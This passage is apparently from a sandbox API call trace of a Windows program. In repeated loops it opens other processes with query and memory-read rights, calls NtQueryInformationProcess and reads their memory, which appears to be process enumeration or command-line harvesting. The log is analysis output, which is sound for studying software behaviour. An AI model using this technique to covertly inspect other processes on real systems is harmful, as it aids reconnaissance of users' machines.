_ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.026] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0xa9c [0313.026] GetLastError () returned 0x0 [0313.026] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.026] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.027] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.027] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.027] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.027] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.028] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.028] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.028] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.028] malloc (_Size=0x6a) returned 0xea8d20 [0313.028] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d22ba, lpBuffer=0xea8d20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0313.028] free (_Block=0xea8d20) [0313.029] CloseHandle (hObject=0xa9c) returned 1 [0313.029] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0313.029] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4316") returned 4 [0313.029] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.029] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.030] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0xa9c [0313.030] GetLastError () returned 0x0 [0313.030] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.030] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.030] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.031] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.031] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.032] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.032] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.032] malloc (_Size=0x72) returned 0xea93a0 [0313.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722c2, lpBuffer=0xea93a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea93a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.033] free (_Block=0xea93a0) [0313.033] CloseHandle (hObject=0xa9c) returned 1 [0313.033] _ui64tow_s (in: _Value=0x10e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4324") returned 0x0 [0313.033] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4324") returned 4 [0313.034] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.034] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.035] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10e4) returned 0xa9c [0313.035] GetLastError () returned 0x0 [0313.035] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.035] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.035] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.035] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.035] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.036] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.036] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.036] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.036] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x481c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.036] malloc (_Size=0x74) returned 0xea94a0 [0313.036] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4822c4, lpBuffer=0xea94a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea94a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.037] free (_Block=0xea94a0) [0313.037] CloseHandle (hObject=0xa9c) returned 1 [0313.089] _ui64tow_s (in: _Value=0x10ec, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4332") returned 0x0 [0313.089] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4332") returned 4 [0313.089] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.089] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.090] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ec) returned 0xa9c [0313.090] GetLastError () returned 0x0 [0313.091] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.091] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.091] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.091] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.091] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.092] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.092] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.092] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.092] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.092] malloc (_Size=0x66) returned 0xeb6770 [0313.092] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322b6, lpBuffer=0xeb6770, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0313.093] free (_Block=0xeb6770) [0313.093] CloseHandle (hObject=0xa9c) returned 1 [0313.093] _ui64tow_s (in: _Value=0x1164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4452") returned 0x0 [0313.094] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4452") returned 4 [0313.094] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.094] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.095] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1164) returned 0xa9c [0313.095] GetLastError () returned 0x0 [0313.095] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.095] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.095] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.095] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.095] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.096] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.096] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.096] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.096] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.096] malloc (_Size=0x84) returned 0xe88120 [0313.096] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322d4, lpBuffer=0xe88120, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88120*, lpNumberOfBytesRead=0x0) returned 1 [0313.097] free (_Block=0xe88120) [0313.097] CloseHandle (hObject=0xa9c) returned 1 [0313.097] _ui64tow_s (in: _Value=0x116c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4460") returned 0x0 [0313.098] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4460") returned 4 [0313.098] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.098] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.099] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x116c) returned 0xa9c [0313.099] GetLastError () returned 0x0 [0313.099] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.099] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.100] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.100] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.100] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.100] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.100] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.101] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.101] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.101] malloc (_Size=0x70) returned 0xea89a0 [0313.101] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22c0, lpBuffer=0xea89a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea89a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.102] free (_Block=0xea89a0) [0313.102] CloseHandle (hObject=0xa9c) returned 1 [0313.102] _ui64tow_s (in: _Value=0x11e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4584") returned 0x0 [0313.102] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4584") returned 4 [0313.102] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.102] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e8) returned 0xa9c [0313.104] GetLastError () returned 0x0 [0313.104] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.104] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.104] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.104] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.105] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.105] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.105] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.105] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.105] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.106] malloc (_Size=0x6a) returned 0xea9320 [0313.106] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea9320, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0313.106] free (_Block=0xea9320) [0313.106] CloseHandle (hObject=0xa9c) returned 1 [0313.107] _ui64tow_s (in: _Value=0x11f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4600") returned 0x0 [0313.107] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4600") returned 4 [0313.107] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.107] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.108] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11f8) returned 0xa9c [0313.108] GetLastError () returned 0x0 [0313.108] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.108] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.108] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.109] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6126a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.109] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x612258, lpBuffer=0x5ec5a0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.109] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.109] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.109] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.110] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x611c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.110] malloc (_Size=0x86) returned 0xe88360 [0313.110] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6122d6, lpBuffer=0xe88360, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88360*, lpNumberOfBytesRead=0x0) returned 1 [0313.110] free (_Block=0xe88360) [0313.111] CloseHandle (hObject=0xa9c) returned 1 [0313.111] _ui64tow_s (in: _Value=0x1200, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4608") returned 0x0 [0313.111] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4608") returned 4 [0313.111] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.111] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.112] OpenProcess 